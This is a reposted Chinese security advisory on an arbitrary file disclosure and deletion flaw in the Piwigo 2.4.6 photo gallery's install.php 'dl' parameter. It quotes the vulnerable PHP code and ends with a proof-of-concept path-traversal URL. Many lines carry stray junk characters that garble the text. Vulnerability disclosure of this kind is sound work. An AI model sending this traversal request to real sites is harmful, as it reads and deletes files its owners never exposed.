Piwigo任意文件泄露和任意文件删除漏洞

admin

Piwigo是用PHP编写的相册脚本。
3 o# n/ Q7 u( S: |/ \
9 X1 h" {0 V7 m; a, fPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
====================================================================
/install.php:
$ r; H- o' Z/ w8 j" G* ]# d-------------
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
. y6 B" A# T' ~& p: i4 |* I114: {
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
116:   header('Cache-Control: no-cache, must-revalidate');
117:   header('Pragma: no-cache');
118:   header('Content-Disposition: attachment; filename="database.inc.php"');
; C7 R4 a7 H# h+ V- f& M+ }, X119:   header('Content-Transfer-Encoding: binary');
8 x7 ^; g. N9 l3 q+ Y120:   header('Content-Length: '.filesize($filename));
9 H: E' N& H  x$ U! q) x+ G121:   echo file_get_contents($filename);
122:   unlink($filename);
123:   exit();
* _: [- h: T2 K3 B$ m  P# K124: }
3 A2 d! o% s0 V" @' F+ O8 n====================================================================

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
, D+ \: N; }8 [/ u7 I5 t2 q8 i: F           Apache 2.4.2 (Win32)
           PHP 5.4.4
           MySQL 5.5.25a

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience

" Z# n% \# c- K7 u8 mAdvisory ID: ZSL-2013-5127
0 G$ M( {! I7 q" p' z9 i$ B+ ?7 cAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
1 g+ y7 i" N1 M; Y: O. ]
15.02.2013
( P7 a* p' c0 r: `1 v% R
0 D$ x9 M. T9 ?/ Z9 a" C( Z0 p1 r--
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
1 H! m! x4 m* S9 x' E3 f! @7 [; s& x